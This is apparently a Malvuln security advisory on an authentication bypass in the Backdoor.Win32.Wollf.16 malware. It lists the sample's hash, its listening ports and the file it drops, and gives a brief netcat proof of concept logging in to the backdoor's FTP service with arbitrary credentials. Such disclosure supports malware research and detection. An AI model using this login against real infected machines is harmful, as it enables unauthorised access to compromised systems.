Backdoor.Win32.Wollf.16 Authentication Bypass

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/204613443e555f73237ea43a2faecaa5.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Wollf.16  
Vulnerability: Authentication Bypass  
Description: The malware listens on TCP port 1015 and has an FTPD feature that when enabled listens on TCP port 21. Third-party attackers who can reach an infected system can logon using any username/password combination.  
Type: PE32  
MD5: 204613443e555f73237ea43a2faecaa5  
Vuln ID: MVID-2022-0462  
Dropped files: ddradmin.exe  
Disclosure: 01/20/2022   
  
Exploit/PoC:  
nc64.exe x.x.x.x 21  
220 Welcome to X-Ftp server ...  
USER malvuln  
331 User name okay, need password.  
PASS malvuln  
230 User logged in, proceed.  
  
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